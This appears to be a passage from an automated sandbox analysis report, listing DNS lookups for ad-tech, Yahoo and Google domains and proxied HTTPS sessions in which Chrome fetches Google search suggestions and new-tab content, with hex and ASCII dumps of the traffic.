Apr 28, 2024 00:42:58.517694950 CEST	1.1.1.1	192.168.2.4	0xa021	No error (0)	s.aolcdn.com	cs629.wpc.lambdacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:58.517694950 CEST	1.1.1.1	192.168.2.4	0xa021	No error (0)	cs629.wpc.lambdacdn.net		192.229.211.36	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:58.846220016 CEST	1.1.1.1	192.168.2.4	0x146f	No error (0)	ssbsync-global.smartadserver.com	usersync-geo-global.usersync-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:58.846220016 CEST	1.1.1.1	192.168.2.4	0x146f	No error (0)	ssbsync-use1.smartadserver.com		216.22.16.52	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:58.846220016 CEST	1.1.1.1	192.168.2.4	0x146f	No error (0)	ssbsync-use1.smartadserver.com		23.105.12.170	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:58.846220016 CEST	1.1.1.1	192.168.2.4	0x146f	No error (0)	ssbsync-use1.smartadserver.com		23.105.12.158	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:58.846220016 CEST	1.1.1.1	192.168.2.4	0x146f	No error (0)	ssbsync-use1.smartadserver.com		216.22.16.37	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:58.846220016 CEST	1.1.1.1	192.168.2.4	0x146f	No error (0)	ssbsync-use1.smartadserver.com		23.105.12.171	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:58.846220016 CEST	1.1.1.1	192.168.2.4	0x146f	No error (0)	ssbsync-use1.smartadserver.com		216.22.16.53	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:58.846220016 CEST	1.1.1.1	192.168.2.4	0x146f	No error (0)	ssbsync-use1.smartadserver.com		23.105.12.143	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:58.846220016 CEST	1.1.1.1	192.168.2.4	0x146f	No error (0)	ssbsync-use1.smartadserver.com		216.22.16.69	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:58.846220016 CEST	1.1.1.1	192.168.2.4	0x146f	No error (0)	ssbsync-use1.smartadserver.com		216.22.16.5	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:58.846220016 CEST	1.1.1.1	192.168.2.4	0x146f	No error (0)	ssbsync-use1.smartadserver.com		23.105.14.100	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:58.846220016 CEST	1.1.1.1	192.168.2.4	0x146f	No error (0)	ssbsync-use1.smartadserver.com		216.22.16.68	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:58.846220016 CEST	1.1.1.1	192.168.2.4	0x146f	No error (0)	ssbsync-use1.smartadserver.com		23.105.12.117	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:58.846220016 CEST	1.1.1.1	192.168.2.4	0x146f	No error (0)	ssbsync-use1.smartadserver.com		216.22.16.36	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:58.846220016 CEST	1.1.1.1	192.168.2.4	0x146f	No error (0)	ssbsync-use1.smartadserver.com		216.22.16.4	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:58.846220016 CEST	1.1.1.1	192.168.2.4	0x146f	No error (0)	ssbsync-use1.smartadserver.com		23.105.12.159	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:58.846220016 CEST	1.1.1.1	192.168.2.4	0x146f	No error (0)	ssbsync-use1.smartadserver.com		23.105.12.116	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:58.846220016 CEST	1.1.1.1	192.168.2.4	0x146f	No error (0)	ssbsync-use1.smartadserver.com		23.105.12.142	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:58.846220016 CEST	1.1.1.1	192.168.2.4	0x146f	No error (0)	ssbsync-use1.smartadserver.com		23.105.14.101	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:58.846291065 CEST	1.1.1.1	192.168.2.4	0x1fb4	No error (0)	ssbsync-global.smartadserver.com	usersync-geo-global.usersync-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:43:00.408008099 CEST	1.1.1.1	192.168.2.4	0xcac5	No error (0)	www.google.com		142.251.163.147	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:43:00.408008099 CEST	1.1.1.1	192.168.2.4	0xcac5	No error (0)	www.google.com		142.251.163.104	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:43:00.408008099 CEST	1.1.1.1	192.168.2.4	0xcac5	No error (0)	www.google.com		142.251.163.99	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:43:00.408008099 CEST	1.1.1.1	192.168.2.4	0xcac5	No error (0)	www.google.com		142.251.163.103	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:43:00.408008099 CEST	1.1.1.1	192.168.2.4	0xcac5	No error (0)	www.google.com		142.251.163.105	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:43:00.408008099 CEST	1.1.1.1	192.168.2.4	0xcac5	No error (0)	www.google.com		142.251.163.106	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:43:00.408427954 CEST	1.1.1.1	192.168.2.4	0x7bed	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 28, 2024 00:43:00.987303019 CEST	1.1.1.1	192.168.2.4	0xeab8	No error (0)	oath-us.api.shopinsync.com	prod-us-oath-lb-api-1578944270.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:43:00.987582922 CEST	1.1.1.1	192.168.2.4	0x680b	No error (0)	oath-us.api.shopinsync.com	prod-us-oath-lb-api-1578944270.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:43:00.987582922 CEST	1.1.1.1	192.168.2.4	0x680b	No error (0)	prod-us-oath-lb-api-1578944270.us-east-1.elb.amazonaws.com		54.236.111.19	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:43:00.987582922 CEST	1.1.1.1	192.168.2.4	0x680b	No error (0)	prod-us-oath-lb-api-1578944270.us-east-1.elb.amazonaws.com		34.236.30.179	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:43:01.167547941 CEST	1.1.1.1	192.168.2.4	0x46b2	No error (0)	onetag-sys.com		51.222.39.184	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:43:01.167547941 CEST	1.1.1.1	192.168.2.4	0x46b2	No error (0)	onetag-sys.com		51.222.39.186	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:43:01.167547941 CEST	1.1.1.1	192.168.2.4	0x46b2	No error (0)	onetag-sys.com		51.222.239.230	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:43:01.167547941 CEST	1.1.1.1	192.168.2.4	0x46b2	No error (0)	onetag-sys.com		51.222.39.185	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:43:01.167547941 CEST	1.1.1.1	192.168.2.4	0x46b2	No error (0)	onetag-sys.com		51.222.39.187	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:43:01.170874119 CEST	1.1.1.1	192.168.2.4	0x1a1f	No error (0)	image8.pubmatic.com	image8-v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:43:01.170874119 CEST	1.1.1.1	192.168.2.4	0x1a1f	No error (0)	image8-v2.pubmnet.com	imagesync-vac.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:43:01.170874119 CEST	1.1.1.1	192.168.2.4	0x1a1f	No error (0)	imagesync-vac.pubmnet.com		8.28.7.82	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:43:01.171772957 CEST	1.1.1.1	192.168.2.4	0x1a6	No error (0)	image8.pubmatic.com	image8-v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:43:01.171772957 CEST	1.1.1.1	192.168.2.4	0x1a6	No error (0)	image8-v2.pubmnet.com	imgsync-nje.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:43:01.179403067 CEST	1.1.1.1	192.168.2.4	0x6b1b	No error (0)	hbx.media.net		23.222.200.28	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:43:01.513118029 CEST	1.1.1.1	192.168.2.4	0xc2fa	No error (0)	help.yahoo.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:43:01.524343967 CEST	1.1.1.1	192.168.2.4	0xe2e4	No error (0)	help.yahoo.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:43:01.524343967 CEST	1.1.1.1	192.168.2.4	0xe2e4	No error (0)	edge.gycpi.b.yahoodns.net		69.147.92.11	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:43:01.524343967 CEST	1.1.1.1	192.168.2.4	0xe2e4	No error (0)	edge.gycpi.b.yahoodns.net		69.147.92.12	A (IP address)	IN (0x0001)	false

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49734	172.253.122.105	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:09 UTC	607	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:09 UTC	1703	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 22:41:09 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-AiIaPy7HJBA7IBycNImnAw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Origin-Trial: Ap+qNlnLzJDKSmEHjzM5ilaa908GuehlLqGb6ezME5lkhelj20qVzfv06zPmQ3LodoeujZuphAolrnhnPA8w4AIAAABfeyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJQZXJtaXNzaW9uc1BvbGljeVVubG9hZCIsImV4cGlyeSI6MTY4NTY2Mzk5OX0= Origin-Trial: AvudrjMZqL7335p1KLV2lHo1kxdMeIN0dUI15d0CPz9dovVLCcXk8OAqjho1DX4s6NbHbA/AGobuGvcZv0drGgQAAAB9eyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJCYWNrRm9yd2FyZENhY2hlTm90UmVzdG9yZWRSZWFzb25zIiwiZXhwaXJ5IjoxNjkxNTM5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0= Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-27 22:41:09 UTC	1703	IN	Data Raw: 31 63 64 39 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6e 68 6c 20 77 69 6e 6e 69 70 65 67 20 6a 65 74 73 22 2c 22 6c 6f 74 74 65 72 79 20 6d 65 67 61 20 6d 69 6c 6c 69 6f 6e 73 20 70 6f 77 65 72 62 61 6c 6c 20 6a 61 63 6b 70 6f 74 22 2c 22 63 62 73 20 6e 63 69 73 20 68 61 77 61 69 69 22 2c 22 68 65 6c 6c 64 69 76 65 72 73 20 32 20 6d 61 6a 6f 72 20 6f 72 64 65 72 20 70 65 6e 74 61 22 2c 22 74 79 72 6f 6e 20 68 6f 70 70 65 72 20 64 72 61 66 74 22 2c 22 73 6c 69 70 6b 6e 6f 74 20 64 72 75 6d 6d 65 72 20 65 6c 6f 79 20 63 61 73 61 67 72 61 6e 64 65 22 2c 22 61 6c 70 68 61 62 65 74 20 73 74 6f 63 6b 20 64 69 76 69 64 65 6e 64 20 79 69 65 6c 64 22 2c 22 74 79 6c 65 72 20 6e 75 62 69 6e 20 6e 66 6c 20 64 72 61 66 74 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c Data Ascii: 1cd9)]}'["",["nhl winnipeg jets","lottery mega millions powerball jackpot","cbs ncis hawaii","helldivers 2 major order penta","tyron hopper draft","slipknot drummer eloy casagrande","alphabet stock dividend yield","tyler nubin nfl draft"],["","","","",
2024-04-27 22:41:09 UTC	1703	IN	Data Raw: 6d 51 33 67 35 63 46 4a 30 65 6e 42 45 63 30 6c 35 5a 30 46 74 4f 55 64 51 4f 58 6c 72 61 43 74 7a 4f 48 4a 4b 56 44 6c 6b 62 6d 4e 55 5a 30 70 72 57 57 68 7a 52 58 52 55 62 46 42 43 5a 6c 42 56 63 6d 35 68 4f 58 64 6c 63 46 45 7a 5a 32 68 72 63 55 70 33 53 6c 52 30 51 6d 74 47 63 31 4d 72 64 57 73 77 63 7a 68 72 5a 33 70 57 59 55 31 76 52 47 31 4a 61 57 74 57 4d 69 39 75 55 6d 68 6d 4c 30 77 35 52 55 46 75 51 6d 64 53 61 79 39 53 51 57 70 44 61 58 64 4a 61 31 6c 71 55 45 78 4a 53 45 67 30 53 6c 41 76 57 48 49 31 61 6e 68 45 63 33 63 31 61 6b 39 4f 57 44 59 79 56 44 6c 6f 62 32 4e 36 4d 7a 42 4b 53 55 31 4a 51 7a 56 42 5a 6e 45 78 57 6b 74 36 65 43 74 32 59 58 56 7a 56 55 73 31 51 57 4a 70 4e 32 5a 54 55 45 5a 43 5a 6b 4e 36 63 58 46 71 61 56 64 47 53 47 Data Ascii: mQ3g5cFJ0enBEc0l5Z0FtOUdQOXlraCtzOHJKVDlkbmNUZ0prWWhzRXRUbFBCZlBVcm5hOXdlcFEzZ2hrcUp3SlR0QmtGc1MrdWswczhrZ3pWYU1vRG1JaWtWMi9uUmhmL0w5RUFuQmdSay9SQWpDaXdJa1lqUExJSEg0SlAvWHI1anhEc3c1ak9OWDYyVDlob2N6MzBKSU1JQzVBZnExWkt6eCt2YXVzVUs1QWJpN2ZTUEZCZkN6cXFqaVdGSG
2024-04-27 22:41:09 UTC	1703	IN	Data Raw: 56 6f 62 47 5a 6b 59 57 6c 68 55 33 52 48 56 55 4e 32 54 44 4a 4d 63 46 42 6a 55 58 49 7a 4d 31 68 4a 4f 48 49 33 53 57 68 45 56 43 73 31 64 30 52 52 65 47 52 61 54 6b 70 56 63 54 6c 6a 59 33 70 4b 62 6c 42 4a 56 6b 68 69 61 56 56 61 64 79 39 59 4d 6d 74 36 52 58 68 72 51 33 42 45 61 30 56 61 62 44 64 56 65 53 39 30 64 6e 5a 43 56 6e 68 79 56 7a 56 50 53 32 31 59 52 6b 31 36 53 32 59 77 61 6b 45 33 63 32 52 6c 51 30 56 51 4d 56 5a 79 62 6e 4a 47 64 33 42 7a 4e 54 6c 68 53 6a 55 34 59 58 52 77 4d 6d 6f 72 63 55 56 4f 56 47 6f 30 4d 54 4a 6f 4f 46 52 4f 5a 55 39 6d 64 6b 52 42 4d 45 31 54 53 6c 67 79 63 6c 42 78 61 58 51 32 52 44 68 49 5a 69 38 30 4d 57 68 42 55 58 41 78 51 31 68 71 62 58 42 79 4d 31 56 6b 55 33 56 6f 65 6b 59 77 5a 32 4a 4a 4f 56 4a 54 4f Data Ascii: VobGZkYWlhU3RHVUN2TDJMcFBjUXIzM1hJOHI3SWhEVCs1d0RReGRaTkpVcTljY3pKblBJVkhiaVVady9YMmt6RXhrQ3BEa0VabDdVeS90dnZCVnhyVzVPS21YRk16S2YwakE3c2RlQ0VQMVZybnJGd3BzNTlhSjU4YXRwMmorcUVOVGo0MTJoOFROZU9mdkRBME1TSlgyclBxaXQ2RDhIZi80MWhBUXAxQ1hqbXByM1VkU3VoekYwZ2JJOVJTO
2024-04-27 22:41:09 UTC	1703	IN	Data Raw: 52 6d 5a 7a 4b 32 55 34 59 54 46 4a 4d 47 56 32 4d 55 70 4d 51 55 74 58 54 31 4e 44 4d 32 39 47 55 6a 46 57 4e 6c 46 42 54 6b 74 42 4e 55 63 32 55 55 46 75 52 47 56 6e 4e 44 51 77 53 45 31 61 52 32 70 49 54 57 6c 51 52 56 6c 48 62 7a 6c 32 63 47 39 30 57 54 5a 4c 62 47 31 30 54 6a 49 72 62 33 46 78 61 57 35 50 4b 32 35 57 5a 6b 70 43 59 6d 56 44 57 48 6c 44 62 54 56 52 64 7a 52 49 57 45 39 51 4e 6a 5a 36 56 54 41 72 4e 58 70 7a 55 45 64 50 5a 6c 52 59 61 32 38 35 63 57 68 56 53 55 39 6c 4e 44 42 7a 5a 46 46 30 55 31 46 68 57 6d 67 7a 51 30 56 4f 62 33 51 34 56 6d 56 57 55 33 46 44 4d 6e 64 56 52 55 31 73 55 55 68 75 59 55 6c 57 54 57 70 4b 61 30 6b 79 4d 47 74 71 54 45 56 72 5a 31 6f 79 5a 30 67 79 4d 55 31 58 53 30 4e 72 62 58 4a 43 54 47 56 78 4e 6c 4e Data Ascii: RmZzK2U4YTFJMGV2MUpMQUtXT1NDM29GUjFWNlFBTktBNUc2UUFuRGVnNDQwSE1aR2pITWlQRVlHbzl2cG90WTZLbG10TjIrb3FxaW5PK25WZkpCYmVDWHlDbTVRdzRIWE9QNjZ6VTArNXpzUEdPZlRYa285cWhVSU9lNDBzZFF0U1FhWmgzQ0VOb3Q4VmVWU3FDMndVRU1sUUhuYUlWTWpKa0kyMGtqTEVrZ1oyZ0gyMU1XS0NrbXJCTGVxNlN
2024-04-27 22:41:09 UTC	581	IN	Data Raw: 54 55 6d 64 73 61 6d 64 72 5a 46 51 72 54 6b 74 46 55 6d 74 6f 57 6b 52 31 53 44 68 57 5a 44 59 30 53 6e 6c 32 59 6d 34 34 59 54 4e 78 63 57 6c 5a 52 6c 46 58 54 45 31 6c 61 45 78 49 61 6c 5a 31 54 56 64 4e 56 57 45 32 61 54 49 32 4f 55 5a 69 62 69 38 35 61 7a 30 36 44 32 4e 69 63 79 42 75 59 32 6c 7a 49 47 68 68 64 32 46 70 61 55 6f 48 49 7a 51 79 4e 44 49 30 4d 6c 49 2f 5a 33 4e 66 63 33 4e 77 50 57 56 4b 65 6d 6f 30 64 46 5a 51 4d 58 70 6a 4d 45 78 4c 5a 33 64 55 61 54 52 31 64 47 70 42 64 31 6c 51 56 47 6c 55 4d 44 52 78 56 6e 4e 6f 54 48 70 70 65 46 64 35 52 57 64 7a 56 44 68 36 54 55 4a 42 51 32 56 43 55 57 39 30 63 42 4d 5c 75 30 30 33 64 22 2c 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 Data Ascii: TUmdsamdrZFQrTktFUmtoWkR1SDhWZDY0Snl2Ym44YTNxcWlZRlFXTE1laExIalZ1TVdNVWE2aTI2OUZibi85az06D2NicyBuY2lzIGhhd2FpaUoHIzQyNDI0MlI/Z3Nfc3NwPWVKemo0dFZQMXpjMExLZ3dUaTR1dGpBd1lQVGlUMDRxVnNoTHppeFd5RWdzVDh6TUJBQ2VCUW90cBM\u003d","zl":10002},{"zl":10002},{"zl":1000
2024-04-27 22:41:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49733	172.253.122.105	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:09 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:09 UTC	1479	IN	HTTP/1.1 200 OK Version: 627109246 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Origin-Trial: Ap+qNlnLzJDKSmEHjzM5ilaa908GuehlLqGb6ezME5lkhelj20qVzfv06zPmQ3LodoeujZuphAolrnhnPA8w4AIAAABfeyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJQZXJtaXNzaW9uc1BvbGljeVVubG9hZCIsImV4cGlyeSI6MTY4NTY2Mzk5OX0= Origin-Trial: AvudrjMZqL7335p1KLV2lHo1kxdMeIN0dUI15d0CPz9dovVLCcXk8OAqjho1DX4s6NbHbA/AGobuGvcZv0drGgQAAAB9eyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJCYWNrRm9yd2FyZENhY2hlTm90UmVzdG9yZWRSZWFzb25zIiwiZXhwaXJ5IjoxNjkxNTM5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0= Content-Disposition: attachment; filename="f.txt" Date: Sat, 27 Apr 2024 22:41:09 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-27 22:41:09 UTC	25	IN	Data Raw: 31 33 0d 0a 29 5d 7d 27 0a 7b 22 64 64 6c 6a 73 6f 6e 22 3a 7b 7d 7d 0d 0a Data Ascii: 13)]}'{"ddljson":{}}
2024-04-27 22:41:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49731	172.253.122.105	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:09 UTC	510	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:09 UTC	1479	IN	HTTP/1.1 200 OK Version: 627109246 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Origin-Trial: Ap+qNlnLzJDKSmEHjzM5ilaa908GuehlLqGb6ezME5lkhelj20qVzfv06zPmQ3LodoeujZuphAolrnhnPA8w4AIAAABfeyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJQZXJtaXNzaW9uc1BvbGljeVVubG9hZCIsImV4cGlyeSI6MTY4NTY2Mzk5OX0= Origin-Trial: AvudrjMZqL7335p1KLV2lHo1kxdMeIN0dUI15d0CPz9dovVLCcXk8OAqjho1DX4s6NbHbA/AGobuGvcZv0drGgQAAAB9eyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJCYWNrRm9yd2FyZENhY2hlTm90UmVzdG9yZWRSZWFzb25zIiwiZXhwaXJ5IjoxNjkxNTM5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0= Content-Disposition: attachment; filename="f.txt" Date: Sat, 27 Apr 2024 22:41:09 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-27 22:41:09 UTC	1479	IN	Data Raw: 38 30 30 30 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 52 61 20 67 62 5f 69 62 20 67 62 5f 55 64 20 67 62 5f 6f 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 8000)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ra gb_ib gb_Ud gb_od\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-04-27 22:41:09 UTC	1479	IN	Data Raw: 30 33 64 5c 22 67 62 5f 4a 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 61 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 39 64 20 67 62 5f 4b 63 20 67 62 5f 37 64 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 47 6f 6f 67 6c 65 5c 22 20 68 72 65 66 5c 75 30 30 33 64 5c 22 2f 3f 74 61 62 5c 75 30 30 33 64 72 72 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4f 63 20 67 62 5f 36 64 5c 22 20 61 72 69 61 2d 68 69 64 64 65 6e 5c 75 30 30 33 64 5c 22 74 72 75 65 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 70 72 65 73 65 6e 74 61 74 69 6f 6e 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c Data Ascii: 03d\"gb_Jc\"\u003e\u003ca class\u003d\"gb_9d gb_Kc gb_7d\" aria-label\u003d\"Google\" href\u003d\"/?tab\u003drr\"\u003e\u003cspan class\u003d\"gb_Oc gb_6d\" aria-hidden\u003d\"true\" 